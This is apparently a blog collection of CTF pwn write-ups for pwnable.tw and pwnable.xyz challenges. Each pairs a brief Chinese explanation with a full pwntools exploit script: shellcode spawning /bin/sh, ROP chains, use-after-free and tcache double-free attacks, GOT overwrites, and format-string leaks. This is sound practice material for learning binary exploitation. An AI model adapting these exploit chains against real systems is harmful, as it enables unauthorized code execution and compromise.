pwnable的题,持续更新
pwnable.tw start 调用了read和write函数就没有了。先进行栈溢出,将栈地址给打印出来因为没有开nx所以可以在栈里运行shellcode,再写入shellcode注意有\x00的shellcode会被截断。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context(arch='i386' , os='linux' ) file_name = './start' debug = 1 if debug: r = remote('chall.pwnable.tw' , 10000 ) else : r = process(file_name) r.recvuntil("Let's start the CTF:" ) p1 = b'a' * 0x14 + p32(0x08048087 ) r.send(p1) stack_addr = u32(r.recv(4 )) success('stack_addr = ' + hex (stack_addr)) shellcode =''' xor ecx,ecx mul ecx push eax mov al,0xb push 0x68732f2f push 0x6e69622f mov ebx,esp int 0x80 ''' shellcode = asm(shellcode) print (shellcode)wp = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' print (len (wp))p2 = b'a' * 0x14 + p32(stack_addr + 0x14 ) + shellcode r.send(p2) r.interactive()
orw 开了沙盒,orw就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context(arch='i386' , os='linux' ) file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn' , 26872 ) else : r = process(file_name) elf = ELF(file_name) orw_open = ''' xor ecx,ecx; xor edx,edx; push ecx; push 0x67616c66; mov ebx,esp; mov eax,0x5; int 0x80; ''' orw_read = ''' mov eax,0x3; mov ecx,ebx; mov ebx,0x3; mov edx,0x100; int 0x80; ''' orw_write = ''' mov eax,0x4; mov ebx,0x1; int 0x80; ''' shellcode = asm(orw_open + orw_read + orw_write) r.send(shellcode) r.interactive()
calc
这个题目很有趣,有点实战那个味了:)
calc这个函数就是大体的流程,过滤—-运算。符合条件的数都给放进s,进运算函数,运算函数里面进行了许多的验证。这个函数的bzero给了0x400,有栈溢出,但是难利用因为保护开了canary。
看一下运算函数里面的东西吧。红框里就有一个小小的漏洞,第一个为运算符时,a2也就是init_pool的v1里不会将第一个给存放进去。a2[0]是当前个存放的数的个数。
看一下eval函数吧。看一下红字,a[0]此时就会=11,就相当于我们可以控制操作数个数的内存空间。可以借助这个进行泄露。
偏移量为0x5a0 + 4为return。所以数组下标为(0x5a0 + 4) / 4 = 361,所以可以构造+361来泄露栈地址。既然可以任意地址写了,绕过canary来rop从而getshell。
ebp + 4放的是/bin/sh的地址。别问我怎么知道的gdb动调一下就可以了。直接上exp吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *context(arch='i386' , os='linux' ) file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn' , 25936 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) r.recvuntil('\n' ) r.sendline('+361' ) ret_addr = int (r.recvuntil('\n' ),10 ) r.sendline('+360' ) ebp_addr = int (r.recvuntil('\n' ),10 ) pop_eax_ret = 0x0805c34b pop_ecx_pop_ebx_ret = 0x080701d1 pop_edx_ret = 0x080701aa binsh_addr = ebp_addr+4 binsh1 = 0x6e69622f binsh2 = 0x0068732f payload = [pop_eax_ret,0x0b ,pop_edx_ret,0x0 ,pop_ecx_pop_ebx_ret,0 ,binsh_addr,0x08049a21 ,binsh1,binsh2] for i in range (len (payload)): r.sendline("+" +str (361 +i)) num = int (r.recvline()) diff = payload[i] - num if diff > 0 : r.sendline("+" +str (361 +i)+"+" +str (diff)) else : r.sendline("+" +str (361 +i)+str (diff)) r.recvline() r.interactive()
dubblesort
这题学到了read后面不会自动补\x00和%u :)
借了两个漏洞,一个是read后面不自动加\x00,所以可以得到libc_base,第二个漏洞就是scanf的那个%u了。输入+号并不会异常,会被检测成正常的空数据进去,所以后面的排序就排的是里面的内存地址。既然有了libc_base所以应该就是ret2libc,但是保护全开,得过canary,canary就在24后面一个使用+号可以不对canary进行修改,后面就是rop了。
这题开了pie,所以泄露之后进行固定偏移计算得到libc_base就可以正常getshell了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *context(arch='i386' , os='linux' ) file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn' , 28233 ) else : r = process(file_name) elf = ELF(file_name) libc = ELF('./libc-2.23.so' ) def dbg (): gdb.attach(r) r.recvuntil('What your name :' ) r.sendline('A' * 24 ) r.recvuntil('A' * 24 ) libc_base = u32(r.recv(4 )) - 0x1b000a success('addr = ' + hex (libc_base)) system_addr = libc_base + libc.sym['system' ] bin_sh = libc_base + libc.search(b'/bin/sh' ).__next__() success('system_addr = ' + hex (system_addr)) lg = 24 + 1 + 9 + 1 r.recvuntil('sort :' ) r.sendline(str (lg)) for i in range (24 ): r.sendlineafter('number : ' , '1' ) r.sendline('+' ) for i in range (9 ): r.sendline(str (system_addr)) r.sendline(str (bin_sh)) r.interactive()
hacknote 纯uaf,没开pie,可以改got。add两个,delete完了之后再add使得第三次add可以控制放puts的那个地址。show一下libc_base就出来了。最后delete,再次add改原来puts的那个地址为system,content为sh即可getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn' , 27091 ) else : r = process(file_name) elf = ELF(file_name) libc = ELF('./libc-2.23.so' ) menu = 'Your choice :' def dbg (): gdb.attach(r) def add (size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('Note size :' , str (size)) r.sendlineafter('Content :' , content) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('Index :' , str (index)) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Index :' , str (index)) puts_addr = 0x0804862b puts_got = elf.got['puts' ] add(0x10 , 'aaaa' ) add(0x10 , 'bbbb' ) delete(0 ) delete(1 ) add(8 , p32(puts_addr) + p32(puts_got)) show(0 ) puts_real = u32(r.recv(4 )) success('puts_real = ' + hex (puts_real)) system_addr = puts_real - libc.sym['puts' ] + libc.sym['system' ] delete(2 ) add(8 , p32(system_addr) + b';sh\x00' ) show(0 ) r.interactive()
silverbullet
再一次学到了新知识,strncat后面自动加\x00。
这题漏洞点出在了strncat这里,看一下红色框框。覆盖掉之后rop吧,因为把怪物打死才会出main,又因为怪物的hp是0x7fffffff,所以得要覆盖一下怪物的血量,具体的话得pwndbg一下。这里就不贴了(lan)。再接着覆盖ret正常rop,泄露完libc_base之后再一次利用之前的漏洞利用链就可以getshell了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *context(arch='i386' , os='linux' ) file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn' , 27639 ) else : r = process(file_name) elf = ELF(file_name) libc = ELF('./libc-2.23.so' ) def dbg (): gdb.attach(r) menu = 'Your choice :' def create (des ): r.sendlineafter(menu, '1' ) r.sendafter('Give me your description of bullet :' , des) def power (des ): r.sendlineafter(menu, '2' ) r.sendafter('Give me your another description of bullet :' , des) def beat (): r.sendlineafter(menu, '3' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] create('a' * 0x20 ) power('b' * 0x10 ) main = 0x8048954 p1 = p32(0x7FFFFFFF ) + b'a' * 3 + p32(puts_plt) + p32(main) + p32(puts_got) power(p1) beat() r.recvuntil('Oh ! You win !!\n' ) puts_addr = u32(r.recv(4 )) success('puts_addr' + hex (puts_addr)) libc_base = puts_addr - libc.sym['puts' ] system_addr = libc_base + libc.sym['system' ] bin_sh = libc_base + libc.search(b'/bin/sh' ).__next__() create('a' * 0x20 ) power('b' * 0x10 ) p1 = p32(0x7FFFFFFF ) + b'a' * 3 + p32(system_addr) + p32(main) + p32(bin_sh) power(p1) beat() r.interactive()
Tcache_Tear 这题就是uaf+tcache attak。
pwnable.tw上是2.27的libc,到了buu上就是2.23的libc了。。。。。。。这里先看一下2.27的吧。
主程序里就有一个uaf。很明显,看一下下面的红色框框。
所以2.27的思路就很简单,double free将地址任意写写到0x602060,在0x602060伪造chunk这个chunk是unstortedbin。泄露出libc_base之后,还是double改fd为hook,改hook为one_gadget就可以getshell了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn' , 26410 ) else : r = process(file_name) elf = ELF(file_name) libc = ELF('./2.27/libc-2.27.so' ) def dbg (): gdb.attach(r) menu = 'Your choice :' puts_got = elf.got['puts' ] def add (size, data ): r.sendlineafter(menu, '1' ) r.sendlineafter('Size:' , str (size)) r.sendlineafter('Data:' , data) def free (): r.sendlineafter(menu, '2' ) def show (): r.sendlineafter(menu, '3' ) bss_addr = 0x602060 r.recvuntil('Name:' ) r.sendline('aaaa' ) add(0x8 , 'aaaa' ) free() free() add(0x8 , p64(bss_addr)) add(0x8 , 'bbbb' ) fake_chunk = p64(0 ) + p64(0x501 ) fake_chunk += b'a' * 0x18 + p64(0x602070 ) + (0x4f0 - 0x20 + 8 ) * b'\x00' + p64(0x21 ) + b'\x00' * 0x18 + p64(0x21 ) add(0x8 , fake_chunk) free() show() malloc_hook = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 - 0x10 success('malloc_hook = ' + hex (malloc_hook)) libc_base = malloc_hook - libc.sym['__malloc_hook' ] free_hook = libc_base + libc.sym['__free_hook' ] success('free_hook = ' + hex (free_hook)) one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[1 ] + libc_base add(0x20 , 'aaaa' ) free() free() add(0x20 , p64(free_hook)) add(0x20 , 'aaaa' ) add(0x20 , p64(one_gadget)) free() r.interactive()
buu上面的2.23的libc。没有uaf,不可以直接double free
pwnable.xyz welcome(malloc分配失败返回NULL) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { _QWORD *v3; __int64 v4; char *v5; __int64 v6; size_t v7; size_t size; unsigned __int64 v10; v10 = __readfsqword(0x28 u); sub_B4E(a1, a2, a3); puts ("Welcome." ); v3 = malloc (0x40000 uLL); *v3 = 1LL ; _printf_chk(1LL , "Leak: %p\n" , v3); _printf_chk(1LL , "Length of your message: " , v4); size = 0LL ; _isoc99_scanf("%lu" , &size); v5 = (char *)malloc (size); _printf_chk(1LL , "Enter your message: " , v6); read(0 , v5, size); v7 = size; v5[size - 1 ] = 0 ; write(1 , v5, v7); if ( !*v3 ) system("cat /flag" ); return 0LL ; }
想要cat flag我们就必须将v3改为0,malloc失败分账之后返回NULL也就是0,这个题目v5分配失败之后为0,v5[size -1] = 0 = *(v5 + (size-1) * sizeof(char) )
当size - 1为v3的地址+1的时候,一但v5分配失败之后v3就为0了,所以可以getshell了。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('svc.pwnable.xyz' , 30000 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) r.recvuntil('0x' ) leak_addr = int (r.recv(12 ), 16 ) li('[+] leak_addr = ' + hex (leak_addr)) r.sendline(str (leak_addr + 1 )) r.sendline('a' ) r.interactive()
sub 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { int v4; int v5; unsigned __int64 v6; v6 = __readfsqword(0x28 u); sub_A3E(a1, a2, a3); v4 = 0 ; v5 = 0 ; _printf_chk(1LL , "1337 input: " ); _isoc99_scanf("%u %u" , &v4, &v5); if ( v4 <= 4918 && v5 <= 4918 ) { if ( v4 - v5 == 4919 ) system("cat /flag" ); } else { puts ("Sowwy" ); } return 0LL ; }
v4 - v5为4919就行了,所以直接v4 = 4918 v5 = -1就可以getshell了
add 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int __cdecl main (int argc, const char **argv, const char **envp) { int result; __int64 v4; __int64 v5; __int64 v6; __int64 v7[11 ]; unsigned __int64 v8; v8 = __readfsqword(0x28 u); setup(*(_QWORD *)&argc, argv, envp); while ( 1 ) { v4 = 0LL ; v5 = 0LL ; v6 = 0LL ; memset (v7, 0 , 0x50 uLL); printf ("Input: " , argv, v7); if ( (unsigned int )__isoc99_scanf("%ld %ld %ld" , &v4, &v5, &v6) != 3 ) break ; v7[v6] = v4 + v5; argv = (const char **)v7[v6]; printf ("Result: %ld" , argv); } result = 0 ; __readfsqword(0x28 u); return result; }
v7下标没有被控制,控制v6为ret的地址也就是13,v4 + v5为后门就可以getshell了
v4 v5 v6 = 4196386 0 13
misalignment 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int __cdecl main (int argc, const char **argv, const char **envp) { char s; _QWORD v5[3 ]; __int64 v6; __int64 v7; __int64 v8; unsigned __int64 v9; v9 = __readfsqword(0x28 u); setup(*&argc, argv, envp); memset (&s, 0 , 0x98 uLL); *(v5 + 7 ) = 3735928559LL ; while ( _isoc99_scanf("%ld %ld %ld" , &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 ) { v5[v8 + 6 ] = v6 + v7; printf ("Result: %ld\n" , v5[v8 + 6 ]); } if ( *(v5 + 7 ) == 0xB000000B5 LL ) win(); return 0 ; }
当v5+7==0xB000000B5时可以getflag。v5+7其实就是v5[0]的第7个数开始长度为8。
而v5+8就是v5[1]的第1个数开始,因为是小端,所以v5[0]可以填入0xb500000000000000,这样子第7个数刚好就是b5,v5[1]填入0x0b000000这样v5[1]第一个数~第4个数刚好就是0x0b000000了。这样子的话v5+7就=0xB000000B5。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('svc.pwnable.xyz' , 30003 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) r.sendline('-5404319552844595200 0 -6' ) r.sendline('184549376 0 -5' ) r.sendline('a' ) r.interactive()
GrownUp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int __cdecl main (int argc, const char **argv, const char **envp) { char *src; __int64 buf; __int64 v6; unsigned __int64 v7; v7 = __readfsqword(0x28 u); setup(); buf = 0LL ; v6 = 0LL ; printf ("Are you 18 years or older? [y/N]: " , argv); *((_BYTE *)&buf + (signed int )((unsigned __int64)read(0 , &buf, 0x10 uLL) - 1 )) = 0 ; if ( (_BYTE)buf != 'y' && (_BYTE)buf != 'Y' ) return 0 ; src = (char *)malloc (0x84 uLL); printf ("Name: " , &buf); read(0 , src, 0x80 uLL); strcpy (usr, src); printf ("Welcome " , src); printf (qword_601160, usr); return 0 ; }
read的时候可以读取0x80个字符,这里没有问题,但是在strcpy这里进行字符串copy的时候,会自动加上一个\x00,补上\x00之后可以发现601160的低字节就会被覆盖掉。0x601160这里存放着%s\n的地址,那我们将0x601160这里的低地址给覆盖成%p是不是就可以内存泄露了(格式化字符串漏洞
其中0x601080这个地址将会存放着真实flag,在输入y的时候,我们将flag的地址放进去,这样子flag就是被放到栈上,我们可以通过上面说到的格式化漏洞输出flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('svc.pwnable.xyz' , 30004 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) p1 = b'a' * 0x20 + b'%p' * 8 + b'%s' p1 = p1.ljust(0x80 , b'a' ) flag_addr = 0x601080 p2 = b'y' * 8 + p64(flag_addr) r.sendafter('Are you 18 years or older? [y/N]: ' , p2) r.sendafter('Name: ' , p1) r.interactive()
note 1 2 3 4 5 6 7 8 9 10 11 12 13 void edit_note () { int size; void *buf; printf ("Note len? " ); size = read_int32(); buf = malloc (size); printf ("note: " ); read(0 , buf, size); strncpy (s, (const char *)buf, size); free (buf); }
1 2 3 4 5 6 7 ssize_t edit_desc () { if ( !buf ) buf = malloc (0x20 uLL); printf ("desc: " ); return read(0 , buf, 0x20 uLL); }
我们可以通过edit_note这个函数来劫持buf指到puts_got这里,再利用edit_desc改puts_got为后门地址,最后想办法调用一下Puts就可以getshell了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('svc.pwnable.xyz' , 30016 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = '> ' def edit_note (size, note ): r.sendlineafter(menu, '1' ) r.sendafter('Note len? ' , str (size)) r.sendafter('note: ' , note) def edit_des (note ): r.sendlineafter(menu, '2' ) r.sendafter('desc: ' , note) puts_got = elf.got['puts' ] p1 = b'a' * 0x20 + p64(puts_got) edit_note(0x28 , p1) shell = 0x40093C edit_des(p64(shell)) r.sendlineafter(menu, '3' ) r.interactive()
xor 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; __int64 v4; __int64 v5; __int64 index; unsigned __int64 v7; v7 = __readfsqword(0x28 u); puts ("The Poopolator" ); setup(); while ( 1 ) { index = 0LL ; printf (format, argv); v3 = _isoc99_scanf("%ld %ld %ld" , &v4, &v5, &index); if ( !v4 || !v5 || !index || index > 9 || v3 != 3 ) break ; result[index] = v5 ^ v4; argv = (const char **)result[index]; printf ("Result: %ld\n" , argv); } exit (1 ); }
漏洞很好看出来,任意地址写漏洞,这个漏洞发生在result这里。虽然限制了上限,但是少了对负的控制。还有一个点就是pwndbg的时候vmmap发现text段可修改。那么攻击思路很快就来了。控制exit为win函数就行。这里笔者学到了新的知识,pwntools里竟然集成了对text段的修改!!!!
v5^v4 = call win
,index = result这个变量的地址和call exit地址的差 /8
这样就可以直接将call exit这个地址给改成win了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('svc.pwnable.xyz' , 30029 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) result_addr = 0x202200 call_exit_addr = 0x0AC8 win_addr = 0x0A21 elf.asm(call_exit_addr, 'call ' + str (win_addr)) p1 = elf.read(call_exit_addr, 5 ) p1 = p1.ljust(8 , b'\x00' ) p1 = u64(p1) offset = (call_exit_addr - result_addr) / 8 r.sendline('1 ' + str (p1) + ' ' + str (offset)) r.interactive()
two targets 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char *v3; int v4; char s; __int64 v6; char *v7; unsigned __int64 v8; v8 = __readfsqword(0x28 u); setup(*(_QWORD *)&argc, argv, envp); v3 = 0LL ; memset (&s, 0 , 0x38 uLL); while ( 1 ) { while ( 1 ) { print_menu(); v4 = read_int32(); if ( v4 != 2 ) break ; printf ("nationality: " , v3); v3 = (char *)&v6; __isoc99_scanf("%24s" , &v6); } if ( v4 > 2 ) { if ( v4 == 3 ) { printf ("age: " , v3); v3 = v7; __isoc99_scanf("%d" , v7); } else if ( v4 == 4 ) { if ( (unsigned __int8)auth((__int64)&s) ) win(); } else { LABEL_14: puts ("Invalid" ); } } else { if ( v4 != 1 ) goto LABEL_14; printf ("name: " , v3); v3 = &s; __isoc99_scanf("%32s" , &s); } } }
这个题目有两个解决方案,第一个利用就是满足auth这个函数,第二个利用就是通过v6改v7,利用修改v7的功能实现任意地址写。
第一种exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 0 if debug: r = remote('svc.pwnable.xyz' , 30031 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) p1 = 'Did_you_really_miss_the_\xc8T_b\x7fD\x84\xf3' r.sendlineafter('> ' , '1' ) r.sendlineafter('name: ' , p1) r.sendlineafter('> ' , '4' ) r.interactive()
第二种exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('svc.pwnable.xyz' , 30031 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) strncmp_got = elf.got['strncmp' ] win_addr = 0x40099C r.sendlineafter('> ' , '2' ) r.sendlineafter('nationality: ' , b'a' * 0x10 + p64(strncmp_got)) r.sendlineafter('> ' , '3' ) r.sendlineafter('age: ' , str (win_addr)) r.sendlineafter('> ' , '4' ) r.interactive()